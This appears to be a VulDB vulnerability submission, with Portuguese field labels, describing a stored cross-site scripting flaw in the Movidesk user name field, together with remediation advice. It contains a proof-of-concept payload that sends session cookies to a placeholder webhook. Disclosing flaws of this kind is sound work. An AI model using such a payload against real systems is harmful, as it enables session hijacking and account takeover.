| Título | zenvia movidesk < 25.02.10 Stored Cross Site Script |
|---|
| Descrição | Vulnerability Overview
A stored Cross-Site Scripting (XSS) vulnerability was identified in Zenvia Moviedesk versions below 25.02.10. This vulnerability, combined with the absence of HttpOnly protection on session cookies, can lead to account takeover.
Technical Details
The issue occurs when an administrator accesses the admin panel and creates a new user. It is possible to inject a malicious payload into the name field, which is later executed when viewing the list of users or when interacting with tickets assigned to the affected user.
POC Payload:
<img src="YOUR-WEB-HOOK-HERE?cookie=" + document.cookie>
This payload exfiltrates session cookies, allowing an attacker to hijack accounts.
Trigger Points
When an administrator navigates to the "All Users" section.
When a ticket associated with the compromised user is viewed.
Impact
Unauthorized access to administrative accounts.
Potential full compromise of the application.
Risk of privilege escalation and data leakage.
Recommendations
Sanitize and escape user input before storing/displaying it.
Implement HttpOnly and Secure flags on session cookies to prevent access via JavaScript.
Use Content Security Policy (CSP) to restrict inline script execution.
Update to version 25.02.10 or later, if a fix has been released. |
|---|
| Fonte | ⚠️ https://github.com/yago3008/cves |
|---|
| Utilizador | y4g0 (UID 80480) |
|---|
| Submissão | 10/02/2025 21h05 (há 2 anos) |
|---|
| Moderação | 10/02/2025 23h58 (3 hours later) |
|---|
| Estado | Duplicado |
|---|
| Entrada VulDB | 294363 [Zenvia Movidesk até 25.01.22 New Ticket subject Script de Site Cruzado] |
|---|
| Pontos | 0 |
|---|